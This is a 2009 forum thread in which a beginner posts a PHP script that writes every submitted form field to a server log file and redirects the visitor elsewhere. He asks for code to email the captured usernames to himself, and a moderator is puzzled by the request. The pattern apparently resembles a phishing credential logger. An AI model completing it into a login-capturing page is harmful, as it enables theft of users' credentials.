Anique Posted March 30, 2009 Share Posted March 30, 2009 i m noob i m trying to learning coding i have made one script to record log but problem is this open a log file into server i want on my mail address my current code is <?php header ('Location: http://url.com/logs'); $handle = fopen("plogs.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> And i m using mail coding like dis but not working :( <?php $to = "youremail@yourdomain.com"; $Subject = "yourubjectl"; foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> Link to comment Share on other sites More sharing options...
Management terabyte Posted March 30, 2009 Management Share Posted March 30, 2009 Uhm not sure what you are trying to do with this code... Also your second code doesn't have any code to actually send an email, but it savesall the $_POST variables like the other one :o Board Rules - Available Products - Need a Custom Work? < Don't PM me for support, post in the forum or submit a ticket from the client area instead! > Link to comment Share on other sites More sharing options...
Anique Posted March 30, 2009 Author Share Posted March 30, 2009 I have page when some body enter user name and click on submit its open log.txt file into my server i want that that username comes into mail simple i need mail sending script:( Link to comment Share on other sites More sharing options...
Management terabyte Posted March 31, 2009 Management Share Posted March 31, 2009 So the code you posted needs to send also an email using php function mail()? Because I don't see it in your code :huh: Board Rules - Available Products - Need a Custom Work? < Don't PM me for support, post in the forum or submit a ticket from the client area instead! > Link to comment Share on other sites More sharing options...
Anique Posted March 31, 2009 Author Share Posted March 31, 2009 so i need that code after opening logs.txt file into server its send mail also i need that code :$ Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now